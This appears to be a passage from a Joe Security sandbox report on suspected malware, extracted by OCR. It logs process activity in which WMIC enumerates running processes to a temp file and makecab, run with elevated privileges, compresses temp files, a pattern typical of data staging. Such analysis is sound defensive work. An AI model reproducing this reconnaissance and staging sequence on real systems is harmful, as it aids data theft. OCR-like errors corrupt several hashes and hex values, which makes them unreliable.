File Path Access Attributes Options Completion Count Address Symbol
Analysis Process: conhost.exe PID: 6324 Parent PID: 6308
General
Start time: 10:51:52
Start date: 08/04/2021
Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff61de10000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

true

true

C, C++ or other language

Analysis Process: WMIC.exe PID: 580 Parent PID: 6308

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

File Activities

File Path

File Written

Copyright Joe Security LLC 2021

Access

10:51:53

08/04/2021
C:\Windows\SysWOW64\wbem\WMIC.exe
true

wmic process get Name

0xf10000

391680 bytes
79A01FCD1C8166C5642F37D1EOFB7BA8
true

true

C, C++ or other language

Attributes Options Completion

Source
Count Address Symbol
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Source

File Path Offset Length Value Ascii Completion Count Address Symbol

C:\Users\user\AppData\Local\Temp\chr1073.tmp unknown 4048 fffe 460061 006d 00 ..N.ame............... success or wait 1 F4A9EF8 WriteFile

C:\Users\user\AppData\Local\Temp\chr1073.tmp

File Path

unknown 2914

65 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
2000 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 0d 00 0a 00 53 00
79 00 73 00 74 00 65
00 6d 00 20 00 49 00
64 00 6¢ 00 65 00 20
00 50 00 72 00 6f 00
63 00 6500 73 00 73
00 20 00 20 00 20 00
2000 20 00 20 00 20
00 20 00 20 00 0d 00
0a 00 53 00 79 00 73
00 74 00 65 00 6d 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
2000 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 0d 00 Oa 00 52
00 65 00 67 00 69 00
730074007200 79
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
2000 20 00 20 00 Od
00 0a 00 73 00 6d 00
73 00 73 00 2e 00 65
0078

20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 0d 00 Oa 00 64
00 6¢ 00 6¢ 00 68 00
6f 00 73 00 74 00 2e
00 65 00 78 00 65 00
2000 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
20 00 20 00 20 00 0d
00 0a 00 53 00 68 00
65 00 6¢ 00 6¢ 00 45
00 78 00 70 00 65 00
7200 69 00 65 00 6e
00 63 00 65 00 48 00
6f 00 73 00 74 00 2e
00 65 00 78 00 65 00
2000 20 00 20 00 20
00 20 00 0d 00 0a 00
53 00 6500 61 00 72
00 63 00 68 00 55 00
49 00 2e 00 65 00 78
00 65 00 20 00 20 00
20 00 20 00 20 00 20
00 20 00 20 00 20 00
2000 20 00 20 00 20
00 20 00 20 00 20 00
0d 00 0a 00 52 00 75
00 6e 00 74 00 69 00
6d 00 65 00 42 00 72
00 6f 00 6b 00 65 00
7200 2e 00 6500 78
00 65 00 20 00 20 00
2000 20

Offset

.. s .System.
J.dle..Process......

LRegistry. ..........
e ...S.MSS.eX

success or wait 1 FA9EF8

....S.h.e.l..LE.x.p.e.r.i.e.n.
ceHost.exe. .....
....S.earchU.l. exe...
...Run.tim.e.B.roke.r.
LE.X.E. ...

Source

Length Completion

WriteFile

Count Address Symbol

Analysis Process: cmd.exe PID: 3624 Parent PID: 6552

General

Copyright Joe Security LLC 2021
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Start time: 10:51:57

Start date: 08/04/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: cmd /c makecab /V3 'C:\Users\user\AppData\Local\Temp\4624a8e10d6df3306e1dd46223b
6b1968208dd49' 'C:\Users\user\AppData\Local\Temp\chr2302.tmp*

Imagebase: 0x2a0000

File size: 232960 bytes

MD5 hash: F3BDBE3BB6F734E357235F4D5898582D

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

File Activities

Source

File Path Access Attributes Options Completion Count Address Symbol

Analysis Process: conhost.exe PID: 4188 Parent PID: 3624
General
Start time: 10:51:57
Start date: 08/04/2021
Path: C:\Windows\System32\conhost.exe
Wow64 process (32bit): false
Commandline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase: 0x7ff61de10000
File size: 625664 bytes
MD5 hash: EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language

Analysis Process: makecab.exe PID: 5036 Parent PID: 3624
General
Start time: 10:51:57
Start date: 08/04/2021
Path: C:\Windows\SysWOW64\makecab.exe
Wow64 process (32bit): true
Commandline: makecab /V3 'C:\Users\user\AppData\Local\Temp\4624a8e10d6df3306e1dd46223b6h1968

208dd49' 'C:\Users\user\AppData\Local\Temp\chr2302.tmp*

Imagebase: 0x1360000
File size: 68608 bytes
MD5 hash: D0D74264402D9F402615F22258330EC8
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language

File Activities

File Created

Source
File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\cab_5036_2 read attributes | device synchronous io  success or wait 1 1368927 CreateFileA
synchronize | non alert | non
generic read | directory file

generic write
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Source

File Path Access Attributes Options Completion Count Address Symbol
C:\Users\user\AppData\Local\Temp\cab_5036_3 read attributes | device synchronous io  success or wait 1 1368927 CreateFileA
synchronize | non alert | non
generic read | directory file

generic write

C:\Users\user\AppData\Local\Temp\cab_5036_4 read attributes | device synchronous io  success or wait 1 1368927 CreateFileA
synchronize | non alert | non
generic read | directory file

generic write

C:\Users\user\AppData\Local\Temp\cab_5036_5 read attributes | device synchronous io  success or wait 1 1368927 CreateFileA
synchronize | non alert | non
generic read | directory file

generic write

C:\Users\user\AppData\Local\Temp\cab_5036_6 read attributes | device synchronous io  success or wait 1 1368927 CreateFileA
synchronize | non alert | non
generic read | directory file

generic write

C:\Users\user\AppData\Local\Temp\cab_5036_7 read attributes | device synchronous io  success or wait 1 1368927 CreateFileA
synchronize | non alert | non
generic read | directory file

generic write

C:\Users\user\AppData\Local\Temp\cab_5036_8 read attributes | device synchronous io  success or wait 1 1368927 CreateFileA
synchronize | non alert | non
generic read | directory file

generic write

C:\Users\user\AppData\Local\Temp\cab_5036_9 read attributes | device synchronous io  success or wait 1 1368927 CreateFileA
synchronize | non alert | non
generic read | directory file

generic write

C:\Users\user\AppData\Local\Temp\cab_5036_10 read attributes | device synchronous io  success or wait 1 1368927 CreateFileA
synchronize | non alert | non
generic read | directory file

generic write

C:\Users\user\AppData\Local\Temp\cab_5036_11 read attributes | device synchronous io  success or wait 1 1368927 CreateFileA
synchronize | non alert | non
generic read | directory file

generic write

Source

File Path Completion Count Address Symbol
Source

File Path Offset Length Value Ascii Completion Count Address Symbol
Source

File Path Offset Length Completion Count Address Symbol

Disassembly

Code Analysis
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